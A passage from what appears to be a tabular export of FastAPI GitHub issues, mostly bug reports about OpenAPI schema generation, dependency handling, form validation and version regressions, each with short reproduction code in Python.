from fastapi import FastAPI
from pydantic import BaseModel, ConfigDict, WithJsonSchema, TypeAdapter

type MyNumpyArray = Annotated[
    np.ndarray, WithJsonSchema(TypeAdapter(list[float]).json_schema(), mode=""serialization""),
]


class MyModel(BaseModel):
    model_config = ConfigDict(arbitrary_types_allowed=True)
    custom_field: MyNumpyArray

app = FastAPI()

@app.get(""/"")
def test() -> MyModel:
    raise NotImplementedError()

print(app.openapi())
# {'openapi': '3.1.0', 'info': {'title': 'FastAPI', 'version': '0.1.0'}, 'paths': {'/': {'get': {'summary': 'Test', 'operationId': 'test__get', 'responses': {'200': {'description': 'Successful Response', 'content': {'application/json': {'schema': {'$ref': '#/components/schemas/MyModel'}}}}}}}}, 'components': {'schemas': {'MyModel': {'properties': {'custom_field': {'$ref': '#/components/schemas/MyNumpyArray'}}, 'type': 'object', 'required': ['custom_field'], 'title': 'MyModel'}, 'MyNumpyArray': {'items': {'type': 'number'}, 'type': 'array'}}}}
```

Should be solved by: https://github.com/fa... [TRUNCATED]",bug,2025-12-10T09:47:16Z,2025-12-10T10:40:30Z,1
tiangolo/fastapi,3700393570,Computed fields support breaks with mixed route types,"Creating issue for completeness.

Fixed by https://github.com/fastapi/fastapi/pull/14453

### Discussed in https://github.com/fastapi/fastapi/discussions/14451

<div type='discussions-op-text'>

<sup>Originally posted by **coltonevansid** December  4, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.openapi.utils import get_openapi
from pydantic import BaseModel, computed_field

class ModelWithComputedField(BaseModel):
    name: str

    @computed_field
    @property
    def computed_name(self) -> str:
        return f""computed_{self.name}""

class SimpleModel(BaseModel):
      value: str

app = FastAPI()

@app.get(""/with-computed"")
def route_with_computed()... [TRUNCATED]",bug,2025-12-05T21:25:04Z,2025-12-05T21:25:11Z,1
tiangolo/fastapi,3700391276,Bug with async callable class dependency in fastapi>=0.123.6,"Creating this issue for completeness.

Solved by https://github.com/fastapi/fastapi/pull/14458

### Discussed in https://github.com/fastapi/fastapi/discussions/14452

<div type='discussions-op-text'>

<sup>Originally posted by **tanguyMichardiere** December  4, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import Depends, FastAPI
from fastapi.dependencies.models import Dependant
from uvicorn import run


class Dependency:
    def __init__(self):
        print(""init"")

    async def __call__(self):
        print(""call"")


print(Dependant(Dependency).is_coroutine_callable)
# `True` with fastapi>=0.123.6
# `False` with fastapi<0.123.6

app = FastAPI()


@... [TRUNCATED]",bug,2025-12-05T21:23:57Z,2025-12-05T21:24:20Z,1
tiangolo/fastapi,3700382637,Bug with async callable class dependency in fastapi>=0.123.6,"Creating the issue for completeness.

Solved by https://github.com/fastapi/fastapi/pull/14458

### Discussed in https://github.com/fastapi/fastapi/discussions/14452

<div type='discussions-op-text'>

<sup>Originally posted by **tanguyMichardiere** December  4, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from fastapi import Depends, FastAPI
from fastapi.dependencies.models import Dependant
from uvicorn import run


class Dependency:
    def __init__(self):
        print(""init"")

    async def __call__(self):
        print(""call"")


print(Dependant(Dependency).is_coroutine_callable)
# `True` with fastapi>=0.123.6
# `False` with fastapi<0.123.6

app = FastAPI()


@a... [TRUNCATED]",bug,2025-12-05T21:20:18Z,2025-12-05T21:22:58Z,1
tiangolo/fastapi,3694454256,"OAuth2 security schemes duplicated in OpenAPI, with and without scopes, when used at the router level","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

OAuth2 security schemes duplicated in OpenAPI, with and without scopes, when used at the router level

Reported by @Kludex on another channel 🙌 

(I'm working on it)

```Python
# /// script
# dependencies = [
#   ""fastapi[standard]==0.121.3"",
# ]
# ///

import json
import sys
from typing import Annotated

import fastapi
from fastapi import APIRouter, Depends, FastAPI, Security
from fastapi.security import OAuth2AuthorizationCodeBearer, SecurityScopes


# print the dependencies
print(f'fastapi version = {fastapi.__version__}')
print(f'Python version = {sys.version}')



app = FastAPI()

oauth2_scheme = OAuth2AuthorizationCodeBearer(
    authorizationUrl='api/oauth/authorize',
    tokenUrl='/api/oauth/token',
    refreshUrl='/api/oauth/token',
    auto_error=False,
    scopes={'read': 'Read access', 'write': 'Write access'},
)

async def get_token(
    token: Annotated[str, Depends(oauth2_scheme)],
) -> str:
    return token

AccessToken = Annotated[str, Depends(get_token, use_cache=True)]


async def require_oauth_scopes(security_scopes: SecurityScopes, token: AccessToken) -> None:
    pass        


async def check_limit(token: AccessToken) -> None:
    pass

# The problem is here. If we remove the dependency from the router, the schema is generated correctly in both fastapi versions.
router = APIRouter(prefix='/v1', dependencies=[Depends(check_limit)])

channels_rou... [TRUNCATED]",bug,2025-12-04T12:35:06Z,2025-12-04T22:22:02Z,3
tiangolo/fastapi,3690854204,FastAPI 0.123.5 breaks async wrappers using @wraps,"(Already being worked on)

### Discussed in https://github.com/fastapi/fastapi/discussions/14442

<div type='discussions-op-text'>

<sup>Originally posted by **falkoschindler** December  3, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from functools import wraps
import uvicorn
from fastapi import FastAPI

app = FastAPI()

def my_decorator(func):
    """"""A decorator that wraps a sync function with an async handler.""""""

    @wraps(func)
    async def wrapper():
        func()
        return 'OK'

    return wrapper

@app.get('/')
@my_decorator
def index():
    """"""A simple sync page function.""""""
    print('Hello!')

if __name__ == '__main__':
    uvicorn.run(app)
```


### Description

* Visit ""/""... [TRUNCATED]",bug,2025-12-03T16:04:52Z,2025-12-04T07:37:05Z,1
tiangolo/fastapi,3684913591,FastAPI app with `separate_input_output_schemas` disabled excludes computed fields on Pydantic models from OpenAPI output,"Adding the issue for completeness.

Solved in https://github.com/fastapi/fastapi/pull/13207

### Discussed in https://github.com/fastapi/fastapi/discussions/10342

<div type='discussions-op-text'>

<sup>Originally posted by **ldthorne** September 27, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
from fastapi import FastAPI
from starlette.testclient import TestClient


@pytest.fixture(name=""client"")
def get_client():
    app = FastAPI(separate_input_output_schemas=False)

    from pydantic import BaseModel, computed_field

    class Rectangle(BaseModel):
        width: int
        length: int

        @computed_field
        @property
        def area(self) -> int:
            retu... [TRUNCATED]",bug,2025-12-02T09:22:13Z,2025-12-02T09:23:31Z,1
tiangolo/fastapi,3620183024,AttributeError: 'dict' object has no attribute 'split',"Minimum Reproducible Example:

```py
# /// script
# dependencies = [
#   ""pydantic"",
#   ""fastapi[standard]"",
#   ""starlette"",
# ]
# ///

import pydantic
import starlette
import fastapi
from fastapi import FastAPI
import sys
from pydantic import BaseModel, Field, ConfigDict

# print the dependencies to stdout, one per line
print(f'pydantic version = {pydantic.__version__}')
print(f'starlette version = {starlette.__version__}')
print(f'fastapi version = {fastapi.__version__}')
# print python version
print(f'Python version = {sys.version}')


app = FastAPI(title='Logfire')

class ModelWithRef(BaseModel):
    ref: str = Field(validation_alias='$ref', serialization_alias='$ref')
    model_config = ConfigDict(validate_by_alias=True, serialize_by_alias=True)



@app.get('/')
async def read_root() -> ModelWithRef:
    return ModelWithRef(ref='some-ref')

print(app.openapi())
```

Run with `uv run main.py`.

Error:

```bash
❯ uv run main.py   
Installed 42 packages in 61ms
pydantic version = 2.12.4
starlette version = 0.49.3
fastapi version = 0.121.1
Python version = 3.10.15 (main, Oct 16 2024, 08:33:15) [Clang 18.1.8 ]
Traceback (most recent call last):
  File ""/Users/marcelotryle/dev/main.py"", line 36, in <module>
    print(app.openapi())
  File ""/Users/marcelotryle/.cache/uv/environments-v2/main-84bd05b9e640fe68/lib/python3.10/site-packages/fastapi/applications.py"", line 1060, in openapi
    self.openapi_schema = get_openapi(
  File ""/Users/marcelotryle/.cache/uv/environments-v2/m... [TRUNCATED]","bug,answered",2025-11-13T08:50:10Z,2025-11-14T14:13:35Z,2
tiangolo/fastapi,3604054778,"`Depends(func, scope=""function"")` with `yield` dependency exits after the request is sent instead of after the function","Adding this issue for completeness.

Solved by: https://github.com/fastapi/fastapi/pull/14301


### Discussed in https://github.com/fastapi/fastapi/discussions/14296

<div type='discussions-op-text'>

<sup>Originally posted by **guldfisk** November  5, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from types import NoneType
from typing import Iterator, Annotated

from fastapi import APIRouter
from fastapi import Depends
from fastapi import FastAPI


app = FastAPI()


class ApplicationError(Exception): ...


def dependency_with_cleanup_error() -> Iterator[None]:
    yield
    raise ApplicationError()


router = APIRouter(
    dependencies=[Depends(dependency_with_cleanup_error, scope=""function"")... [TRUNCATED]",bug,2025-11-08T21:50:28Z,2025-11-08T21:50:55Z,1
tiangolo/fastapi,3603463237,CORS Middleware and exception handler,"the MRE is at [https://github.com/4tst/mre-exception-handler](https://github.com/4tst/mre-exception-handler). 

without `@exception_handler(ValueError)`, then will appear CORS error when request sub-route,
for more detail, please click [here](https://github.com/4tst/mre-exception-handler)",,2025-11-08T11:41:53Z,2025-11-08T11:44:44Z,0
tiangolo/fastapi,3575995490,🐛 0.120.3 breaks `SecurityBase` based dependencies in OpenAPI,"Edit: Added as an issue for completeness and history.

### Discussed in https://github.com/fastapi/fastapi/discussions/14263

<div type='discussions-op-text'>

<sup>Originally posted by **oldfielj-ansto** October 31, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uvicorn import run
from fastapi import FastAPI, Depends
from fastapi.security import OpenIdConnect


_oidc = OpenIdConnect(
    openIdConnectUrl=""https://localhost/auth/realms/test/.well-known/openid-configuration"",
)

app = FastAPI(
    title=""My Application"",
    docs_url=""/swagger"",
    redoc_url=""/docs"",
    openapi_url=""/openapi.json"",
    dependencies=(Depends(_oidc),),
)


@app.get(""/"")
async def hello_world():
    return {""... [TRUNCATED]",bug,2025-10-31T18:27:22Z,2025-10-31T18:41:06Z,1
tiangolo/fastapi,3565751506,Component name regression in OpenAPI spec for v0.119.0,"Adding the issue here for completeness, although most of the conversation is in the GitHub Discussion.

### Discussed in https://github.com/fastapi/fastapi/discussions/14177

<div type='discussions-op-text'>

<sup>Originally posted by **walsha2** October 12, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import StrEnum

from fastapi import FastAPI
from pydantic import BaseModel, Field


class MessageEventType(StrEnum):
    alpha = ""alpha""
    beta = ""beta""


class MessageEvent(BaseModel):
    event_type: MessageEventType = Field(default=MessageEventType.alpha)
    output: str


class MessageOutput(BaseModel):
    body: str = """"
    events: list[MessageEvent]


class Message(BaseModel):... [TRUNCATED]",bug,2025-10-29T12:29:40Z,2025-10-29T13:49:55Z,1
tiangolo/fastapi,3548601627,docs: Fix typo in tutorial documentation,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Description
Fixed a minor typo in the tutorial documentation to improve clarity and readability.

## Changes
- Fixed typo: ""recieve"" → ""receive"" in `docs/en/docs/tutorial/body.md`
- Line 45: Updated documentation for better accuracy

## Checklist
- [x] Typo verified against proper spelling
- [x] No code changes, documentation only
- [x] Follows existing documentation style

This small fix helps new users better understand the tutorial.",,2025-10-24T09:55:25Z,2025-10-24T10:06:09Z,0
tiangolo/fastapi,3544101941,Changes to _remap_definitions_and_field_mappings failing in v0.119,"Hello there! I just noticed that recent changes to

https://github.com/fastapi/fastapi/blame/cb7018d782c88b189f11d6141c8231ffb9b403b0/fastapi/_compat/v2.py#L273 in v0.119.0

Started showing up as errors like:

```python
    def _remap_definitions_and_field_mappings(
        *,
        model_name_map: ModelNameMap,
        definitions: Dict[str, Any],
        field_mapping: Dict[
            Tuple[ModelField, Literal[""validation"", ""serialization""]], JsonSchemaValue
        ],
    ) -> Tuple[
        Dict[Tuple[ModelField, Literal[""validation"", ""serialization""]], JsonSchemaValue],
        Dict[str, Any],
    ]:
        old_name_to_new_name_map = {}
        for field_key, schema in field_mapping.items():
            model = field_key[0].type_
            if model not in model_name_map:
                continue
            new_name = model_name_map[model]
>           old_name = schema[""$ref""].split(""/"")[-1]
                       ^^^^^^^^^^^^^^
E           KeyError: '$ref'

(...)

 field_mapping = {(ModelField(field_info=Body(PydanticUndefined), name='body', mode='validation'), 'validation'): {'$ref': '#/component...validation'), 'validation'): {'$ref': '#/components/schemas/xyz__apps__api__preferences__integrations__Body'}, ...}
```",,2025-10-23T10:31:16Z,2025-10-24T12:50:54Z,5
tiangolo/fastapi,3527351445,"Se que ha pasado mucho tiempo, soy ingeniero y Senior en Desarrollo de Software, creo que  hay demasiado factores para que un código sea más rápido, o se note lento:","Se que ha pasado mucho tiempo, soy ingeniero y Senior en Desarrollo de Software, creo que  hay demasiado factores para que un código sea más rápido, o se note lento:
a) El hadware.
b) La internet.
c) Puede haber un virus.
d) La memoria esta muy ocupada,
e) etc. etc.

FastApi, es simplemente una arquitectura, y de paso creo desconoce que en  Python puede emplearse como una consola de servicio, mediante la libreria de PyCharm, que es algo totalmente distinto API Rest. por que es una arquitectura que debes diseñar con mucho criterio. Esto le permitiría tener administración correcta de los recursos eliminar cualquier tasa latencia, si es lo que están evaluando. 
De todas maneras no existe un mejor lenguaje de programación, para arquitecturas complejas de datos si no el mismo DBC, mediante procedimiento almacenado, y si quieren algo más complejo componente desarrollado en C++.
Con un componente (Librería Dinámica), es que postgres puede generar Vectores Embedding. Imaginase  una fuerte lógica de negocios. 

Saludos;

_Originally posted by @Joseg212 in https://github.com/fastapi/fastapi/discussions/7320#discussioncomment-14469070_",,2025-10-17T19:52:42Z,2025-10-17T19:53:50Z,0
tiangolo/fastapi,3467389730,AssertionError: fastapi_inner_astack not found in request scope,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

latest version of Fastapi is not support with Starlette 0.48.0.

FAFastAPI 0.118.0
Starlette 0.48.0",,2025-09-30T03:36:27Z,2025-09-30T09:00:43Z,12
tiangolo/fastapi,3454529736,how is this code is relavent to this ?,"> Here's another repro:
> 
> ```python
> from __future__ import annotations
> 
> from typing import TYPE_CHECKING, Annotated
> 
> from fastapi import Depends, FastAPI
> from fastapi.testclient import TestClient
> 
> if TYPE_CHECKING:
>     from httpx import AsyncClient
> 
> app = FastAPI()
> 
> 
> @app.get(""/test"")
> async def ping(client: Annotated[AsyncClient, Depends(lambda: AsyncClient())]) -> str:
>     resp = await client.get('http://example.com')
>     resp.raise_for_status()
>     return f""Got {len(resp.text)} bytes""
> 
> 
> 
> async def test() -> None:
>     from httpx import AsyncClient
> 
>     async with AsyncClient() as client:
>         client = TestClient(app)
> 
>         response = client.get(""/test"")
>         assert response.status_code == 200, f""{response.status_code=}: {response.text=}""
> 
> 
> if __name__ == ""__main__"":
>     import anyio
> 
>     anyio.run(test)
> ``` 

 _Originally posted by @adriangb in [#13056](https://github.com/fastapi/fastapi/issues/13056#issuecomment-2616362994)_",,2025-09-25T17:36:22Z,2025-09-25T18:58:39Z,0
tiangolo/fastapi,3415222874,"AI Bug Analysis: ValidationError: 1 validation error for Request
body
  field required (type=value_error.missing)","### 🤖 AI Bug Report

**Original Error:**
```
ValidationError: 1 validation error for Request
body
  field required (type=value_error.missing)
```

--- 

### 🔬 Root Cause Analysis
The error message `ValidationError: 1 validation error for Request body field required (type=value_error.missing)` indicates that the request made to the server is missing a required field in the body of the request. This type of error typically occurs in the context of using Pydantic models with FastAPI, where the models define the expected structure and content of request bodies. Pydantic models enforce type checks and required fields, and if a request does not meet these criteria, a `ValidationError` is raised.

Given the context provided, it seems that the error is related to handling requests in a FastAPI application. The documents referenced in the code context discuss handling errors in FastAPI, including `RequestValidationError` and `ValidationError`, which are crucial for understanding how FastAPI processes and validates incoming request data against Pydantic models.

The specific error message points to a missing field in the request body, which is required by the Pydantic model that validates the request. This could be due to several reasons:

1. **Client-Side Issue**: The client making the request may have failed to include a necessary field in the request body. This is common when the client's code does not correctly assemble the request or when the user forgets to provide all the requir... [TRUNCATED]",,2025-09-14T16:03:10Z,2025-09-14T16:03:58Z,0
tiangolo/fastapi,3350280299,"validate_core_schema has been removed in the new pydantic-core (>=2.35.0), causing FastAPI to fail to import. Hoping to resolve this.","### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

validate_core_schema has been removed in the new pydantic-core (>=2.35.0), causing FastAPI to fail to import. Hoping to resolve this.

fastapi==0.116.1
pydantic_core==2.39.0",,2025-08-25T03:33:10Z,2025-08-25T06:34:30Z,0
tiangolo/fastapi,3219066440,"Support for propertyNames in OpenAPI schema when using dict[Enum, ...] with Pydantic v2","When using dict[StrEnum, ...] or RootModel[dict[StrEnum, ...]] in a FastAPI app with Pydantic v2, the generated OpenAPI schema does not enumerate the enum values used as dictionary keys. Instead, the UI shows [any-key], which does not reflect the actual constraints.

As of Pydantic v2.11+, support for emitting propertyNames with enum constraints was added via [PR #10478](https://github.com/pydantic/pydantic/pull/10478). This allows OpenAPI/JSON Schema to correctly express restrictions on object keys, such as:

```
{
  ""type"": ""object"",
  ""propertyNames"": {
    ""type"": ""string"",
    ""enum"": [""foo"", ""bar""]
  },
  ""additionalProperties"": {
    ""type"": ""integer""
  }
}
```

However, FastAPI currently does not appear to consume or propagate the propertyNames node from Pydantic’s schema output, so these constraints are missing in the OpenAPI spec and Swagger UI.

### Expected Behavior

FastAPI should correctly include propertyNames in the generated OpenAPI schema when dict[Enum, T] is used as a request/response model with Pydantic v2. This would allow Swagger UI to better reflect the allowed dictionary keys.

### To Reproduce
```
from enum import StrEnum
from pydantic import RootModel
from fastapi import FastAPI

class MyEnum(StrEnum):
    foo = ""foo""
    bar = ""bar""

class MyModel(RootModel[dict[MyEnum, int]]):
    pass

app = FastAPI()

@app.post(""/test"")
def test_endpoint(model: MyModel):
    return model
```

### Resulting OpenAPI Schema:
```
{
  ""type"": ""object"",
  ""additionalP... [TRUNCATED]",,2025-07-10T11:59:00Z,2025-12-12T15:15:57Z,11
tiangolo/fastapi,3187493504,API Big file attacks,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Any POST interface, submitting a file request (even if the interface does not declare to accept file parameters) causes the service memory to expand until the service crashes
",,2025-06-30T07:45:09Z,2025-06-30T07:55:42Z,0
tiangolo/fastapi,3064746072,SUB APPLICATIONS - MOUNTS IS SHOW INCORRECT INFORMATION,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,

I'm checking the docs: https://fastapi.tiangolo.com/advanced/sub-applications/#check-the-automatic-api-docs

I see this example:

![Image](https://github.com/user-attachments/assets/12381416-ea90-46c8-bc0d-bf1f38fbc9ec)

but when I test in my local machine. I see it:

![Image](https://github.com/user-attachments/assets/347a24d3-edb2-439c-b3cc-afe4875d0783)

Am I doing some bad?

Thanks.",,2025-05-15T03:06:28Z,2025-05-15T11:40:49Z,0
tiangolo/fastapi,2989428589,FastAPI Tensor flow and tensor flow lite issue with Pyhon v3.14.x when making a pip installtion bug,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I'm running a FastAPI backend and a frontend in flutter . After upgrading python version to v3.14.x, i was unable to install tensorflow or tensorflow lite for my project 
please check out the issue to fix 

Downgrading python to v3.14.x fixed it.",,2025-04-11T18:26:53Z,2025-04-12T10:04:58Z,2
tiangolo/fastapi,2942725856,Multiple regressions in the handling of forms & form validation,"

### Issue Content

We have found at least 2 regression in the way forms are handled while trying to migrate to v0.115.11 from version v0.112.4. After investigation we were able to identify 2 commits that introduce 2 separate bugs that break the handling of default values in both `x-form-urlencoded` and `mutlipart` froms. Partial fixes have been proposed that also address a CVE, but the PR has been hanging since october 24.

# Breaking in the handling of default value in `x-url-encoded` forms

This bug has been introduced in https://github.com/fastapi/fastapi/pull/12134.

MRE:
```python
app = FastAPI()


@app.post(""/"")
def root(
    name: Annotated[Optional[str], Form(embed=True)] = None,
):
    print(name)
    return name
```

with the following request:
```
❯ http post -v --form localhost:8888 name=""""
POST / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
Host: localhost:8888
User-Agent: xh/0.24.0

name=

HTTP/1.1 200 OK
Content-Length: 2
Content-Type: application/json
Date: Sun, 23 Mar 2025 21:01:49 GMT
Server: uvicorn

""""
```
The expected result is that `None` is printed, but instead `""""` is printed.

this is the offending bit from the linked PR:
```
diff --git a/fastapi/dependencies/utils.py b/fastapi/dependencies/utils.py
index 6083b731..db7eedba 100644
--- a/fastapi/dependencies/utils.py
+++ b/fastapi/dependencies/utils.py
@@ -789,9 +789,9 @@ async def _extract_form_... [TRUNCATED]",bug,2025-03-24T10:13:27Z,2025-12-02T04:39:57Z,23
tiangolo/fastapi,2905610405,Basic auth `realm` is REQUIRED but handled as optional,"According to https://datatracker.ietf.org/doc/html/rfc7617#autoid-3 , specification of the `realm` parameter is REQUIRED, so making `realm` optional here

https://github.com/fastapi/fastapi/blob/643d2845de09a437b955a163ab25eb0887bfd0e1/fastapi/security/http.py#L195

and at related places, is misleading and makes it easy to create non-conforming APIs. It bit me when a Shelly device refused (rightfully) to authenticate against the API which was using the default (missing) `realm` behavior.
",bug,2025-03-09T18:56:54Z,2026-01-12T10:09:55Z,7
tiangolo/fastapi,2889038429,Validations in `Annotated` like `AfterValidator` do not work in FastAPI 0.115.10,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13431

<div type='discussions-op-text'>

<sup>Originally posted by **amacfie-tc** February 28, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from pydantic import AfterValidator
from fastapi import FastAPI


app = FastAPI()

def validator(v):
    raise ValueError()

Ints = Annotated[list[int], AfterValidator(validator)]

@app.post(""/"")
def post(ints: Ints) -> None:
    return None
```


### Description

If we run the code and send a request to the endpoint, e.g.
```
echo -n '[2,3,4]' | http POST http://localhost:8000
```
on version 0.115.9, we get a 422 but on 0.115.10 we get 200. Is this a bug?

### O... [TRUNCATED]",bug,2025-03-01T17:19:44Z,2025-03-01T22:40:52Z,2
tiangolo/fastapi,2866648368,Header parameter and model handling does not work as expected,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13160

<div type='discussions-op-text'>

<sup>Originally posted by **freud14-tm** January  6, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, TypeAlias

from fastapi import FastAPI, Header
from pydantic import BaseModel

app = FastAPI()


class CommonHeaders(BaseModel):
    host: str
    save_data: bool
    if_modified_since: str | None = None
    traceparent: str | None = None
    x_tag: list[str] = []


CommonHeadersAnnotated: TypeAlias = Annotated[CommonHeaders, Header()]


@app.get(""/items/"")
async def read_items(headers: CommonHeadersAnnotated):
    return headers


@app.get(""/items2/"")
async def r... [TRUNCATED]",bug,2025-02-20T16:17:31Z,2025-03-24T11:28:01Z,15
tiangolo/fastapi,2866350269,Dependency Models created from Form input data are loosing metadata(field set) and are enforcing validation on default values.,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13380

<div type='discussions-op-text'>

<sup>Originally posted by **sneakers-the-rat** February 16, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

**Short version (UPD by @YuriiMotov):**

```python
from typing import Annotated

from fastapi import FastAPI, Form
from fastapi.testclient import TestClient
from pydantic import BaseModel

class ExampleModel(BaseModel):
    field_1: bool = True

app = FastAPI()

@app.post(""/body"")
async def body_endpoint(model: ExampleModel):
    return {""fields_set"": list(model.model_fields_set)}

@app.post(""/form"")
async def form_endpoint(model: Annotated[ExampleModel, Form()]):
    return {""fields_set"": list(m... [TRUNCATED]",question,2025-02-20T14:36:29Z,2026-05-18T13:15:07Z,32
